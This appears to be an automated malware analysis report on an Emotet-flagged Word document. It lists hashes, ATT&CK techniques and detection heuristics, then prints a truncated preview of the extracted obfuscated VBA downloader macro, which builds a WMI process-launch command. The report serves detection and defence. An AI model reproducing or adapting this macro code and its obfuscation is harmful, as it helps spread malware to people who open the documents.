Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 08d6e7fcc2e2cc93…

MALICIOUS

Office (OLE)

225.5 KB Created: 2020-08-27 19:25:00 Authoring application: Microsoft Office Word First seen: 2020-09-07
MD5: 115b60d4e82b1f0b360ab014b849d60d SHA-1: 288d6873d4292d4d45ca8739ea8292e34f07d80d SHA-256: 08d6e7fcc2e2cc9338c3c7ab9a223c50909d15a1d1bc71f06c3e276800a47ab0
262 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample contains VBA macros, including a Document_Open macro and a hidden UserForm command stager, which are indicative of a downloader. The presence of a ClamAV detection for 'Doc.Downloader.EmotetRed02226-9938639-0' strongly suggests this file is a downloader for a second-stage payload. The obfuscated VBA code likely attempts to construct and execute a command to fetch and run additional malware.

Heuristics 7

  • ClamAV: Doc.Downloader.EmotetRed02226-9938639-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.EmotetRed02226-9938639-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10196 bytes
SHA-256: df8919cd82f87e42af4af48b76136ec19fd2f941f044b5214a262385a257c949
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Pzj5nc5f3oed1fqdvv"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
Cbqw00lt5spv.N4713k12_es4q7ie
End Sub


Attribute VB_Name = "Cbqw00lt5spv"
Attribute VB_Base = "0{FD34D2DD-7670-4604-B54C-3489C221FDFD}{10017884-B7A4-47CF-A107-2C738F842F64}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function N4713k12_es4q7ie()
   On Error Resume Next
         klEP6Sq = DznF6Si0d / Int(3) / vSHlR20C1 / Atn(LEOT3) / 2336 * Int(MPZK) + 451405852 / CByte(qnBvW / Sgn(30)) * 62579157 / Sgn(CSng(8598 / Round(ylsug6 - ChrB(ovYc62))))
         duFdpjP83 = 458911467 - Tan(60 / Hex(qcwPSmxj / Hex(ijME * BZaG7icX9 * 9 * CLng(3370)))) - 98 - Fix(3963 * zyD)
C6u5_kkqha6w94 = 100
   On Error Resume Next
         klEP6Sq = DznF6Si0d / Int(3) / vSHlR20C1 / Atn(LEOT3) / 2336 * Int(MPZK) + 451405852 / CByte(qnBvW / Sgn(30)) * 62579157 / Sgn(CSng(8598 / Round(ylsug6 - ChrB(ovYc62))))
         duFdpjP83 = 458911467 - Tan(60 / Hex(qcwPSmxj / Hex(ijME * BZaG7icX9 * 9 * CLng(3370)))) - 98 - Fix(3963 * zyD)
B1w2wslv1snhu6x = ChrW(C6u5_kkqha6w94 + (xw + 5 + jwb + 10))
   On Error Resume Next
         klEP6Sq = DznF6Si0d / Int(3) / vSHlR20C1 / Atn(LEOT3) / 2336 * Int(MPZK) + 451405852 / CByte(qnBvW / Sgn(30)) * 62579157 / Sgn(CSng(8598 / Round(ylsug6 - ChrB(ovYc62))))
         duFdpjP83 = 458911467 - Tan(60 / Hex(qcwPSmxj / Hex(ijME * BZaG7icX9 * 9 * CLng(3370)))) - 98 - Fix(3963 * zyD)
Lqq5e9yo7u26p7s = "(hsv 32(()hq gq721g()))) hsu0())(hsv 32(()hq gq721g()))) hsu0())w(hsv 32(()hq gq721g()))) hsu0())i(hsv 32(()hq gq721g()))) hsu0())nm(hsv 32(()hq gq721g()))) hsu0())(hsv 32(()hq gq721g()))) hsu0())gm(hsv 32(()hq gq721g()))) hsu0())t(hsv 32(()hq gq721g()))) hsu0())(hsv 32(()hq gq721g()))) hsu0())" + B1w2wslv1snhu6x + "(hsv 32(()hq gq721g()))) hsu0())(hsv 32(()hq gq721g()))) hsu0()):(hsv 32(()hq gq721g()))) hsu0())w(hsv 32(()hq gq721g()))) hsu0())in(hsv 32(()hq gq721g()))) hsu0())(hsv 32(()hq gq721g()))) hsu0())3(hsv 32(()hq gq721g()))) hsu0())2(hsv 32(()hq gq721g()))) hsu0())_(hsv 32(()hq gq721g()))) hsu0())" + Cbqw00lt5spv.Yfzjz9po4xov6 + "(hsv 32(()hq gq721g()))) hsu0())ro(hsv 32(()hq gq721g()))) hsu0())(hsv 32(()hq gq721g()))) hsu0())ce(hsv 32(()hq gq721g()))) hsu0())s(hsv 32(()hq gq721g()))) hsu0())s(hsv 32(()hq gq721g()))) hsu0())"
   On Error Resume Next
         klEP6Sq = DznF6Si0d / Int(3) / vSHlR20C1 / Atn(LEOT3) / 2336 * Int(MPZK) + 451405852 / CByte(qnBvW / Sgn(30)) * 62579157 / Sgn(CSng(8598 / Round(ylsug6 - ChrB(ovYc62))))
         duFdpjP83 = 458911467 - Tan(60 / Hex(qcwPSmxj / Hex(ijME * BZaG7icX9 * 9 * CLng(3370)))) - 98 - Fix(3963 * zyD)
J5dwb2k236agthm = P8lwxmtc23saoshw_4(Lqq5e9yo7u26p7s)
   On Error Resume Next
         klEP6Sq = DznF6Si0d / Int(3) / vSHlR20C1 / Atn(LEOT3) / 2336 * Int(MPZK) + 451405852 / CByte(qnBvW / Sgn(30)) * 62579157 / Sgn(CSng(8598 / Round(ylsug6 - ChrB(ovYc62))))
         duFdpjP83 = 458911467 - Tan(60 / Hex(qcwPSmxj / Hex(ijME * BZaG7icX9 * 9 * CLng(3370)))) - 98 - Fix(3963 * zyD)
   On Error Resume Next
         klEP6Sq = DznF6Si0d / Int(3) / vSHlR20C1 / Atn(LEOT3) / 2336 * Int(MPZK) + 451405852 / CByte(qnBvW / Sgn(30)) * 62579157 / Sgn(CSng(8598 / Round(ylsug6 - ChrB(ovYc62))))
         duFdpjP83 = 458911467 - Tan(60 / Hex(qcwPSmxj / Hex(ijME * BZaG7icX9 * 9 * CLng(3370)))) - 98 - Fix(3963 * zyD)
Uxrlnut4ujr6_dsn = Cbqw00lt5spv.Hbhx562_u74kcpf.ControlTipText
   On Error Resume Next
         klEP6Sq = DznF6Si0d / Int(3) / vSHlR20C1 / Atn(LEOT3) / 2336 * Int(MPZK) + 451405852 / CByte(qnBvW / Sgn(30)) * 62579157 / Sgn(CSng(8598 / Round(ylsug6 - ChrB(ovYc62))))
         duFdpjP83 = 458911467 - Tan(60 / Hex(qcwPSmxj / Hex(ijME * BZaG7icX9 * 9 * CLng(3370)))) - 98 - Fix(3963 * zyD
... (truncated)